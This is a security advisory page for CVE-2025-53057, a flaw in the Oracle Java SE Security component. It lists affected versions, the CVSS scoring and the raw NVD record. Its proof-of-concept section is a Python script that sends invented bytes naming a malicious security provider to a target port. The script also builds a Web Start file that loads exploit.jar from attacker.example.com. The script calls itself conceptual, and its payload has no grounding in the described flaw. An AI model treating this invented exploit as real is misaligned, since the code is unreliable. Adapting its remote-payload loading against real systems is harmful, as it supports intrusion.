Security Vulnerability Report
中文
CVE-2025-53057 CVSS 5.9 MEDIUM

CVE-2025-53057

Published: 2025-10-21 20:20:45
Last Modified: 2026-05-12 13:17:22

Description

Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:graalvm:21.3.15:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:oracle:graalvm_for_jdk:17.0.16:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:graalvm_for_jdk:21.0.8:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:jdk:1.8.0:update461:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:oracle:jdk:1.8.0:update461:*:*:enterprise_performance_pack:*:*:* - VULNERABLE
Oracle Java SE 8u461
Oracle Java SE 8u461-perf
Oracle Java SE 11.0.28
Oracle Java SE 17.0.16
Oracle Java SE 21.0.8
Oracle Java SE 25
Oracle GraalVM for JDK 17.0.16
Oracle GraalVM for JDK 21.0.8
Oracle GraalVM Enterprise Edition 21.3.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53057 - Oracle Java SE Security Component Vulnerability PoC # Note: This is a conceptual PoC demonstrating the attack vector. # The actual exploit requires specific conditions due to AC:H complexity. import ssl import socket import struct def craft_malicious_payload(): """ Craft a payload targeting the Oracle Java SE Security component. The vulnerability allows unauthorized modification of critical data through the Security component's APIs. """ # Java Security Provider manipulation payload # Targets integrity of security-related data structures payload = b"\x00\x00\x00\x01" # Protocol version payload += b"\x00\x10" # Message length payload += b"\x01" # Message type: Security provider registration payload += b"\x00" * 12 # Padding # Malicious security provider entry malicious_provider = b"com.attacker.MaliciousProvider" payload += struct.pack(">H", len(malicious_provider)) payload += malicious_provider return payload def exploit_vulnerability(target_host, target_port): """ Attempt to exploit CVE-2025-53057 by sending crafted data to the Java Security component via network protocols. """ try: # Establish connection (e.g., via RMI, JMX, or custom protocol) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send crafted payload to trigger integrity violation payload = craft_malicious_payload() sock.send(payload) # Receive response response = sock.recv(4096) print(f"[*] Response received: {response.hex()}") sock.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False def java_web_start_attack(): """ Alternative attack vector via Java Web Start / sandboxed applets. Demonstrates loading untrusted code that exploits the Security component. """ jnlp_content = '''<?xml version="1.0" encoding="UTF-8"?> <jnlp spec="1.0+" codebase="http://attacker.example.com/" href="exploit.jnlp"> <information> <title>Malicious Application</title> <vendor>Attacker</vendor> </information> <resources> <j2se version="1.8.0_461"/> <jar href="exploit.jar"/> </resources> <application-desc main-class="com.attacker.ExploitMain"/> </jnlp>''' return jnlp_content if __name__ == "__main__": print("[*] CVE-2025-53057 PoC - Oracle Java SE Security Vulnerability") print("[*] Target: Java SE 8u461, 11.0.28, 17.0.16, 21.0.8, 25") print("[*] CVSS: 5.9 (Integrity Impact: High)") # exploit_vulnerability("target_host", 1099) # RMI port example

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53057", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:45.240", "lastModified": "2026-05-12T13:17:21.593", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:graalvm:21.3.15:*:*:*:enterprise:*:*:*", "matchCriteriaId": "37490B26-61B5-49DF-8A7C-47518473BBC1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:graalvm_for_jdk:17.0.16:*:*:*:*:*:*:*", "matchCriteriaId": "56BDCE92-E161-46DC-8A2E-17EF7303DBFB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:graalvm_for_jdk:21.0.8:*:*:*:*:*:*:*", "matchCriteriaId": "29154F4D-88E2-43FA-9DDA-1DEF5F588A31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:1.8.0:update461:*:*:-:*:*:*", "matchCriteriaId": "4FEDA610-719F-491A-8AA8-4792956DFFA2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:1.8.0:update461:*:*:enterprise_performance_pack:*:*:*", "matchCriteriaId": "6D5E2690-0B45-464D-9689-D370049BAFBF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:11.0.28:*:*:*:*:*:*:*", "matchCriteriaId": "D6E11C3A-7940-4561-B420-5EE75A6A86E8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:17.0.16:*:*:*:*:*:*:*", "matchCriteriaId": "B8119FE1-F23D-40BE-AAC0-E1CEEA23EA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:21.0.8:*:*:*:*:*:*:*", "matchCriteriaId": "280B946E-65E7-40E7-93AE-C9FF37FF0CC4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:25:*:*:*:*:*:*:*", "matchCriteriaId": "9007EF86-9404-4D14-BE09-5859DD63D41F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jre:1.8.0:update461:*:*:-:*:*:*", "matchCriteriaId": "9ADF4DB6-6B75-4189-8EC4-EB1FA7717E08"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jre:1.8.0:update461:*:*:enterprise_performance_pack:*:*:*", "matchCriteriaId": "766ABBC7-BDC6-4ADC-A469-E0CC5F7648D5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jre:11.0.28:*:*:*:*:*:*:*", "matchCriteriaId": "DE86F002-47D1-4D99-A409-F71ABDBC8D40"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jre:17.0.16:*:*:*:*:*:*:*", "matchCriteriaId": "B07375CB-20C1-45F8-9691-48694FDD04FC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jre:21.0.8:*:*:*:*:*:*:*", "matchCriteriaId": "A708A66E-E203-4222-93F6-645436098581"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jre:25:*:*:*:*:*:*:*", "matchCriteriaId": "2AD56177-F003-4CB2-8E77-4942AC6F4911"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00026.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"}]}}